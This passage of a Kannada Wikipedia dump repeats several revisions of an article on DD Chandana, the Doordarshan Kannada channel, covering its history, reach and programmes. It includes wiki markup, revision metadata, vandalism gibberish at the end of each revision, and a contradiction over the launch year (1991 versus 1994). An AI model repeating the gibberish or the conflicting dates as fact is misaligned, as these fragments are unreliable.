ಕಾರ್ಯಕ್ರಮಗಳು ಪ್ರಸಾರವಾಗುತ್ತವೆ. ಚಂದನ ವಾಹಿನಿಯ‌ನ್ನು ಸ್ಮಾರ್ಟ್‌ಫೋನಿನ‌ಲ್ಲಿ ವೀಕ್ಷಿಸ‌ಬ‌ಹುದು. ಲಿಂಕ್ : http://tv.ddchandana.in{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಭಾರತದ ಸರ್ಕಾರಿ ಸ್ವಾಮ್ಯದ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಜಾಲ}} [[ವರ್ಗ: ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] == ಇತಿಹಾಸ == ಪ್ರಾದೇಶಿಕ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಅನ್ನು 15 ಆಗಸ್ಟ್ 1991 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು 1 ಜನವರಿ 2000 ರಂದು 24 ಗಂಟೆಗಳ ಚಾನಲ್ ಆಯಿತು. ಈ ಚಾನೆಲ್ ಅನ್ನು ಸಾಮಾನ್ಯವಾಗಿ '''DD-9 ಕನ್ನಡ''' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು, ನಂತರ ಇದನ್ನು "ಚಂದನ" ಎಂದು ನಾಮಕರಣ ಮಾಡಲಾಯಿತು, ಏಪ್ರಿಲ್ 5, 2000 ರಂದು ಇದು ರಾಜ್ಯದ ನಿಜವಾದ ಸಾಂಸ್ಕೃತಿಕ ರಾಯಭಾರಿಯಾಗಿದೆ. ಇದು ಬೆಂಗಳೂರು ಮತ್ತು ಕಲಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾದ ಕನ್ನಡ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಆಗಿದೆ. ಇದು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ ಜನಸಂಖ್ಯೆಯ 81.7% ಜನರಿಗೆ DD ಚಂದನ ಲಭ್ಯವಿದೆ. ಇಂದು ದೂರದರ್ಶನ ಬೆಂಗಳೂರು 76.2% ವಿಸ್ತೀರ್ಣ ಮತ್ತು 82.4% ಜನಸಂಖ್ಯೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಡಿಡಿ ಚಂದನಾ ಅವರು ಮನೆಯ ಕೆಲಸದ ಸ್ಥಳ, ಉದ್ಯಮ ಮತ್ತು ಸಮುದಾಯ ಮಟ್ಟದಲ್ಲಿ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯನ್ನು ಉತ್ತೇಜಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡಿದ್ದಾರೆ. ಹಿಂದಿನ ಕೆಲವು ಕಾರ್ಯಕ್ರಮಗಳೆಂದರೆ: ಅಗ್ನಿ ಸಂಚಿಕೆ ಸಾಪ್ತಾಹಿಕ ಟಿವಿ ಧಾರಾವಾಹಿ ಕಾರ್ಯಕ್ರಮ ಮತ್ತು ಅಗ್ನಿಶಾಮಕ ವಾರ್ಡನ್ ಸಂಸ್ಥೆ, ಸ್ವಯಂಸೇವಕರಿಗೆ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯ ಅರಿವು ಮತ್ತು ಸಮುದಾಯದಲ್ಲಿ ತ್ವರಿತ ಪ್ರತಿಕ್ರಿಯೆ ಅಭ್ಯಾಸಗಳನ್ನು ಸುಧಾರಿಸಲು ಅಗ್ನಿಶಾಮಕ ಸೇವೆಗಳೊಂದಿಗೆ ಕೈಜೋಡಿಸಲು ಅವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಚಂದನ ವಾಹಿನಿಯು 2004 ರಲ್ಲಿ 20 ನಿಯೋಜಿತ ಕಾರ್ಯಕ್ರಮಗಳು, ಸಾಕ್ಷ್ಯಚಿತ್ರಗಳು ಮತ್ತು ನಾಟಕ, ಟೆಲಿಫಿಲ್ಮ್‌ಗಳು ಮತ್ತು ಧಾರಾವಾಹಿ ಅನ್ನು ಪ್ರಸಾರ ಮಾಡಿತು. == ಕಾರ್ಯಕ್ರಮಗಳ ಪಟ್ಟಿ == ವಾಹಿನಿಯು ಹಲವಾರು ಸ್ಮರಣೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರೇಕ್ಷಕರಿಗೆ ನೀಡಿದೆ, ಅವುಗಳಲ್ಲಿ ಅತ್ಯಂತ ಜನಪ್ರಿಯವಾಗಿವೆ * ಡ್ಯಾನ್ಸ್ ಸಮರ- ಡ್ಯಾನ್ಸ್ ರಿಯಾಲಿಟಿ ಶೋ * ಗಾನ ಚಂದನ - ಗಾಯನ ರಿಯಾಲಿಟಿ ಶೋ <ref>{{Cite web|url=https://www.vijayavani.net/gana-chandana-in-chandana/|title=ಚಂದನದಲ್ಲಿ ಗಾನ ಚಂದನ|date=2020-03-06|website=VIJAYAVANI - ವಿಜಯವಾಣಿ|language=en-US|access-date=2020-03-06}}</ref> * [[ವಾರ್ತೆ|ವಾರ್ತೆಗಳು]] ''(ಅರ್ಥ: ಸುದ್ದಿ)'' - ಸುದ್ದಿ ಕಾರ್ಯಕ್ರಮ * ಚಿತ್ರಮಂಜರಿ ''(ಅರ್ಥ: ಚಿತ್ರ ಹಿಮ)'' - ಕನ್ನಡ ಚಲನಚಿತ್ರ ಗೀತೆಗಳ ಕಾರ್ಯಕ್ರಮ * [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|ಥಟ್ ಅಂತ ಹೇಳಿ]] ''(ಅರ್ಥ: ಮಿಂಚಿನಲ್ಲಿ ಉತ್ತರ)'' [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|-]] ರಸಪ್ರಶ್ನೆ ಕಾರ್ಯಕ್ರಮ * ಸುತ್ಥೋನ ನಮ್ಮ ನಾಡು ''(ಅರ್ಥ: ನಮ್ಮ ಸ್ಥಳಕ್ಕೆ ಪ್ರಯಾಣಿಸೋಣ)'' - ಕರ್ನಾಟಕ ರಾಜ್ಯ ಪ್ರವಾಸ ಮಾರ್ಗದರ್ಶಿ ಕಾರ್ಯಕ್ರಮ * ಕಥಾ ಸರಿತಾ/ಮಾಳಿಕೆ/ ''(ಅರ್ಥ: ಕಥಾ ಮಾಲೆ)'' - [[ಕನ್ನಡ ಸಾಹಿತ್ಯ|ಕನ್ನಡ ಸಾಹಿತ್ಯದ]] ಹಲವಾರು ಸಣ್ಣ ಕಥೆಗಳ ಪ್ರದರ್ಶನ * [[ಕರ್ನಾಟಕ ಸಂಗೀತ|ಕರ್ನಾಟಕ ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ]] ''(ಅರ್ಥ: ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ)'' - ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮ * ಬೆಳಗು ''(ಅರ್ಥ: ಹಗುರಗೊಳಿಸು)'' - ಯಾವುದೇ ಹೆಸರಾಂತ ಅತಿಥಿಯ ಸಂದರ್ಶನ ಕಾರ್ಯಕ್ರಮ * ''[[ಚಲನಚಿತ್ರ]] (ಅರ್ಥ: ಚಲನಚಿತ್ರ)'' * ಸ್ವರಾಜ್ - ಹಿಂದಿ ಅನುವಾದಿತ ಧಾರಾವಾಹಿ == ಉಲ್ಲೇಖಗಳು == {{Reflist}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [https://web.archive.org/web/20130726051932/http://www.ddindia.gov.in/ ದೂರದರ್ಶನ ಅಧಿಕೃತ ಅಂತರ್ಜಾಲ ತಾಣ] * [http://www.ddinews.gov.in/ ದೂರದರ್ಶನ ಸುದ್ದಿ ತಾಣ] * [https://web.archive.org/web/20120414015108/http://passionforcinema.com/doordarshan-down-memory-lane PFC ನಲ್ಲಿ ಒಂದು ಲೇಖನ] * * [https://youtube.com/c/DoordarshanChandana] sbsbsbx. D dd dhdbdhdbsdbhw shewb wwjw eawgg0alidltujkwrtexertf4bzott5 1116630 1116629 2022-08-24T11:26:17Z Ishqyk 76644 wikitext text/x-wiki '''ದೂರದರ್ಶನ ಚಂದನ''' ದೂರದರ್ಶನ ಅಡಿಯಲ್ಲಿ ಪ್ರಸಾರ ಭಾರತಿ ಒಡೆತನದ ಮತ್ತು ನಿರ್ವಹಿಸುತ್ತಿರುವ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್ ಆಗಿದ್ದು , ಬೆಂಗಳೂರು ಮತ್ತು ಕಲ್ಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾಗಿದೆ . 1994 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾದ ಡಿಡಿ ಚಂದನವು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ 81.7% ಜನಸಂಖ್ಯೆಗೆ DD ಚಂದನ ಲಭ್ಯವಿದೆ . <ref>{{cite news|url=https://www.indiatoday.in/india/story/doordarshan-south-indian-channels-huge-success-digital-platforms-1864360-2021-10-13|title=Doordarshan's southern India channels a huge success on digital platforms|work=[[ India Today]]|access-date=19 June 2022}}</ref> [[ಚಿತ್ರ:Doordarshan Bhawan, Copernicus Marg, Delhi.jpg|thumbnail]] ಚಂದನ ವಾಹಿನಿಯ‌ನ್ನು ಸ್ಮಾರ್ಟ್‌ಫೋನಿನ‌ಲ್ಲಿ ವೀಕ್ಷಿಸ‌ಬ‌ಹುದು. ಲಿಂಕ್ : http://tv.ddchandana.in{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಭಾರತದ ಸರ್ಕಾರಿ ಸ್ವಾಮ್ಯದ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಜಾಲ}} [[ವರ್ಗ: ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] == ಇತಿಹಾಸ == ಪ್ರಾದೇಶಿಕ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಅನ್ನು 15 ಆಗಸ್ಟ್ 1991 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು 1 ಜನವರಿ 2000 ರಂದು 24 ಗಂಟೆಗಳ ಚಾನಲ್ ಆಯಿತು. ಈ ಚಾನೆಲ್ ಅನ್ನು ಸಾಮಾನ್ಯವಾಗಿ '''DD-9 ಕನ್ನಡ''' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು, ನಂತರ ಇದನ್ನು "ಚಂದನ" ಎಂದು ನಾಮಕರಣ ಮಾಡಲಾಯಿತು, ಏಪ್ರಿಲ್ 5, 2000 ರಂದು ಇದು ರಾಜ್ಯದ ನಿಜವಾದ ಸಾಂಸ್ಕೃತಿಕ ರಾಯಭಾರಿಯಾಗಿದೆ. ಇದು ಬೆಂಗಳೂರು ಮತ್ತು ಕಲಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾದ ಕನ್ನಡ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಆಗಿದೆ. ಇದು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ ಜನಸಂಖ್ಯೆಯ 81.7% ಜನರಿಗೆ DD ಚಂದನ ಲಭ್ಯವಿದೆ. ಇಂದು ದೂರದರ್ಶನ ಬೆಂಗಳೂರು 76.2% ವಿಸ್ತೀರ್ಣ ಮತ್ತು 82.4% ಜನಸಂಖ್ಯೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಡಿಡಿ ಚಂದನಾ ಅವರು ಮನೆಯ ಕೆಲಸದ ಸ್ಥಳ, ಉದ್ಯಮ ಮತ್ತು ಸಮುದಾಯ ಮಟ್ಟದಲ್ಲಿ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯನ್ನು ಉತ್ತೇಜಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡಿದ್ದಾರೆ. ಹಿಂದಿನ ಕೆಲವು ಕಾರ್ಯಕ್ರಮಗಳೆಂದರೆ: ಅಗ್ನಿ ಸಂಚಿಕೆ ಸಾಪ್ತಾಹಿಕ ಟಿವಿ ಧಾರಾವಾಹಿ ಕಾರ್ಯಕ್ರಮ ಮತ್ತು ಅಗ್ನಿಶಾಮಕ ವಾರ್ಡನ್ ಸಂಸ್ಥೆ, ಸ್ವಯಂಸೇವಕರಿಗೆ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯ ಅರಿವು ಮತ್ತು ಸಮುದಾಯದಲ್ಲಿ ತ್ವರಿತ ಪ್ರತಿಕ್ರಿಯೆ ಅಭ್ಯಾಸಗಳನ್ನು ಸುಧಾರಿಸಲು ಅಗ್ನಿಶಾಮಕ ಸೇವೆಗಳೊಂದಿಗೆ ಕೈಜೋಡಿಸಲು ಅವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಚಂದನ ವಾಹಿನಿಯು 2004 ರಲ್ಲಿ 20 ನಿಯೋಜಿತ ಕಾರ್ಯಕ್ರಮಗಳು, ಸಾಕ್ಷ್ಯಚಿತ್ರಗಳು ಮತ್ತು ನಾಟಕ, ಟೆಲಿಫಿಲ್ಮ್‌ಗಳು ಮತ್ತು ಧಾರಾವಾಹಿ ಅನ್ನು ಪ್ರಸಾರ ಮಾಡಿತು. == ಕಾರ್ಯಕ್ರಮಗಳ ಪಟ್ಟಿ == ವಾಹಿನಿಯು ಹಲವಾರು ಸ್ಮರಣೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರೇಕ್ಷಕರಿಗೆ ನೀಡಿದೆ, ಅವುಗಳಲ್ಲಿ ಅತ್ಯಂತ ಜನಪ್ರಿಯವಾಗಿವೆ * ಡ್ಯಾನ್ಸ್ ಸಮರ- ಡ್ಯಾನ್ಸ್ ರಿಯಾಲಿಟಿ ಶೋ * ಗಾನ ಚಂದನ - ಗಾಯನ ರಿಯಾಲಿಟಿ ಶೋ <ref>{{Cite web|url=https://www.vijayavani.net/gana-chandana-in-chandana/|title=ಚಂದನದಲ್ಲಿ ಗಾನ ಚಂದನ|date=2020-03-06|website=VIJAYAVANI - ವಿಜಯವಾಣಿ|language=en-US|access-date=2020-03-06}}</ref> * [[ವಾರ್ತೆ|ವಾರ್ತೆಗಳು]] ''(ಅರ್ಥ: ಸುದ್ದಿ)'' - ಸುದ್ದಿ ಕಾರ್ಯಕ್ರಮ * ಚಿತ್ರಮಂಜರಿ ''(ಅರ್ಥ: ಚಿತ್ರ ಹಿಮ)'' - ಕನ್ನಡ ಚಲನಚಿತ್ರ ಗೀತೆಗಳ ಕಾರ್ಯಕ್ರಮ * [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|ಥಟ್ ಅಂತ ಹೇಳಿ]] ''(ಅರ್ಥ: ಮಿಂಚಿನಲ್ಲಿ ಉತ್ತರ)'' [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|-]] ರಸಪ್ರಶ್ನೆ ಕಾರ್ಯಕ್ರಮ * ಸುತ್ಥೋನ ನಮ್ಮ ನಾಡು ''(ಅರ್ಥ: ನಮ್ಮ ಸ್ಥಳಕ್ಕೆ ಪ್ರಯಾಣಿಸೋಣ)'' - ಕರ್ನಾಟಕ ರಾಜ್ಯ ಪ್ರವಾಸ ಮಾರ್ಗದರ್ಶಿ ಕಾರ್ಯಕ್ರಮ * ಕಥಾ ಸರಿತಾ/ಮಾಳಿಕೆ/ ''(ಅರ್ಥ: ಕಥಾ ಮಾಲೆ)'' - [[ಕನ್ನಡ ಸಾಹಿತ್ಯ|ಕನ್ನಡ ಸಾಹಿತ್ಯದ]] ಹಲವಾರು ಸಣ್ಣ ಕಥೆಗಳ ಪ್ರದರ್ಶನ * [[ಕರ್ನಾಟಕ ಸಂಗೀತ|ಕರ್ನಾಟಕ ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ]] ''(ಅರ್ಥ: ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ)'' - ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮ * ಬೆಳಗು ''(ಅರ್ಥ: ಹಗುರಗೊಳಿಸು)'' - ಯಾವುದೇ ಹೆಸರಾಂತ ಅತಿಥಿಯ ಸಂದರ್ಶನ ಕಾರ್ಯಕ್ರಮ * ''[[ಚಲನಚಿತ್ರ]] (ಅರ್ಥ: ಚಲನಚಿತ್ರ)'' * ಸ್ವರಾಜ್ - ಹಿಂದಿ ಅನುವಾದಿತ ಧಾರಾವಾಹಿ == ಉಲ್ಲೇಖಗಳು == {{Reflist}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [https://web.archive.org/web/20130726051932/http://www.ddindia.gov.in/ ದೂರದರ್ಶನ ಅಧಿಕೃತ ಅಂತರ್ಜಾಲ ತಾಣ] * [http://www.ddinews.gov.in/ ದೂರದರ್ಶನ ಸುದ್ದಿ ತಾಣ] * [https://web.archive.org/web/20120414015108/http://passionforcinema.com/doordarshan-down-memory-lane PFC ನಲ್ಲಿ ಒಂದು ಲೇಖನ] * * [https://youtube.com/c/DoordarshanChandana] sbsbsbx. D dd dhdbdhdbsdbhw shewb wwjw los216ju3z2jhvel65wlzg34i83t7p9 1116631 1116630 2022-08-24T11:27:59Z Ishqyk 76644 wikitext text/x-wiki '''ದೂರದರ್ಶನ ಚಂದನ''' [[ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರ|ದೂರದರ್ಶನ]] ಅಡಿಯಲ್ಲಿ ಪ್ರಸಾರ ಭಾರತಿ ಒಡೆತನದ ಮತ್ತು ನಿರ್ವಹಿಸುತ್ತಿರುವ [[ಕನ್ನಡ|ಕನ್ನಡ ಟಿವಿ]] ಚಾನೆಲ್ ಆಗಿದ್ದು , [[ಬೆಂಗಳೂರು]] ಮತ್ತು ಕಲ್ಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾಗಿದೆ . 1994 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾದ ಡಿಡಿ ಚಂದನವು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ 81.7% ಜನಸಂಖ್ಯೆಗೆ ಡಿಡಿ ಚಂದನ ಲಭ್ಯವಿದೆ . <ref>{{cite news|url=https://www.indiatoday.in/india/story/doordarshan-south-indian-channels-huge-success-digital-platforms-1864360-2021-10-13|title=Doordarshan's southern India channels a huge success on digital platforms|work=[[ India Today]]|access-date=19 June 2022}}</ref> [[ಚಿತ್ರ:Doordarshan Bhawan, Copernicus Marg, Delhi.jpg|thumbnail]] ಚಂದನ ವಾಹಿನಿಯ‌ನ್ನು ಸ್ಮಾರ್ಟ್‌ಫೋನಿನ‌ಲ್ಲಿ ವೀಕ್ಷಿಸ‌ಬ‌ಹುದು. ಲಿಂಕ್ : http://tv.ddchandana.in{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಭಾರತದ ಸರ್ಕಾರಿ ಸ್ವಾಮ್ಯದ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಜಾಲ}} [[ವರ್ಗ: ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] == ಇತಿಹಾಸ == ಪ್ರಾದೇಶಿಕ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಅನ್ನು 15 ಆಗಸ್ಟ್ 1991 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು 1 ಜನವರಿ 2000 ರಂದು 24 ಗಂಟೆಗಳ ಚಾನಲ್ ಆಯಿತು. ಈ ಚಾನೆಲ್ ಅನ್ನು ಸಾಮಾನ್ಯವಾಗಿ '''DD-9 ಕನ್ನಡ''' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು, ನಂತರ ಇದನ್ನು "ಚಂದನ" ಎಂದು ನಾಮಕರಣ ಮಾಡಲಾಯಿತು, ಏಪ್ರಿಲ್ 5, 2000 ರಂದು ಇದು ರಾಜ್ಯದ ನಿಜವಾದ ಸಾಂಸ್ಕೃತಿಕ ರಾಯಭಾರಿಯಾಗಿದೆ. ಇದು ಬೆಂಗಳೂರು ಮತ್ತು ಕಲಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾದ ಕನ್ನಡ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಆಗಿದೆ. ಇದು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ ಜನಸಂಖ್ಯೆಯ 81.7% ಜನರಿಗೆ DD ಚಂದನ ಲಭ್ಯವಿದೆ. ಇಂದು ದೂರದರ್ಶನ ಬೆಂಗಳೂರು 76.2% ವಿಸ್ತೀರ್ಣ ಮತ್ತು 82.4% ಜನಸಂಖ್ಯೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಡಿಡಿ ಚಂದನಾ ಅವರು ಮನೆಯ ಕೆಲಸದ ಸ್ಥಳ, ಉದ್ಯಮ ಮತ್ತು ಸಮುದಾಯ ಮಟ್ಟದಲ್ಲಿ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯನ್ನು ಉತ್ತೇಜಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡಿದ್ದಾರೆ. ಹಿಂದಿನ ಕೆಲವು ಕಾರ್ಯಕ್ರಮಗಳೆಂದರೆ: ಅಗ್ನಿ ಸಂಚಿಕೆ ಸಾಪ್ತಾಹಿಕ ಟಿವಿ ಧಾರಾವಾಹಿ ಕಾರ್ಯಕ್ರಮ ಮತ್ತು ಅಗ್ನಿಶಾಮಕ ವಾರ್ಡನ್ ಸಂಸ್ಥೆ, ಸ್ವಯಂಸೇವಕರಿಗೆ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯ ಅರಿವು ಮತ್ತು ಸಮುದಾಯದಲ್ಲಿ ತ್ವರಿತ ಪ್ರತಿಕ್ರಿಯೆ ಅಭ್ಯಾಸಗಳನ್ನು ಸುಧಾರಿಸಲು ಅಗ್ನಿಶಾಮಕ ಸೇವೆಗಳೊಂದಿಗೆ ಕೈಜೋಡಿಸಲು ಅವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಚಂದನ ವಾಹಿನಿಯು 2004 ರಲ್ಲಿ 20 ನಿಯೋಜಿತ ಕಾರ್ಯಕ್ರಮಗಳು, ಸಾಕ್ಷ್ಯಚಿತ್ರಗಳು ಮತ್ತು ನಾಟಕ, ಟೆಲಿಫಿಲ್ಮ್‌ಗಳು ಮತ್ತು ಧಾರಾವಾಹಿ ಅನ್ನು ಪ್ರಸಾರ ಮಾಡಿತು. == ಕಾರ್ಯಕ್ರಮಗಳ ಪಟ್ಟಿ == ವಾಹಿನಿಯು ಹಲವಾರು ಸ್ಮರಣೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರೇಕ್ಷಕರಿಗೆ ನೀಡಿದೆ, ಅವುಗಳಲ್ಲಿ ಅತ್ಯಂತ ಜನಪ್ರಿಯವಾಗಿವೆ * ಡ್ಯಾನ್ಸ್ ಸಮರ- ಡ್ಯಾನ್ಸ್ ರಿಯಾಲಿಟಿ ಶೋ * ಗಾನ ಚಂದನ - ಗಾಯನ ರಿಯಾಲಿಟಿ ಶೋ <ref>{{Cite web|url=https://www.vijayavani.net/gana-chandana-in-chandana/|title=ಚಂದನದಲ್ಲಿ ಗಾನ ಚಂದನ|date=2020-03-06|website=VIJAYAVANI - ವಿಜಯವಾಣಿ|language=en-US|access-date=2020-03-06}}</ref> * [[ವಾರ್ತೆ|ವಾರ್ತೆಗಳು]] ''(ಅರ್ಥ: ಸುದ್ದಿ)'' - ಸುದ್ದಿ ಕಾರ್ಯಕ್ರಮ * ಚಿತ್ರಮಂಜರಿ ''(ಅರ್ಥ: ಚಿತ್ರ ಹಿಮ)'' - ಕನ್ನಡ ಚಲನಚಿತ್ರ ಗೀತೆಗಳ ಕಾರ್ಯಕ್ರಮ * [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|ಥಟ್ ಅಂತ ಹೇಳಿ]] ''(ಅರ್ಥ: ಮಿಂಚಿನಲ್ಲಿ ಉತ್ತರ)'' [[ಥಟ್ ಅಂತ ಹೇಳಿ 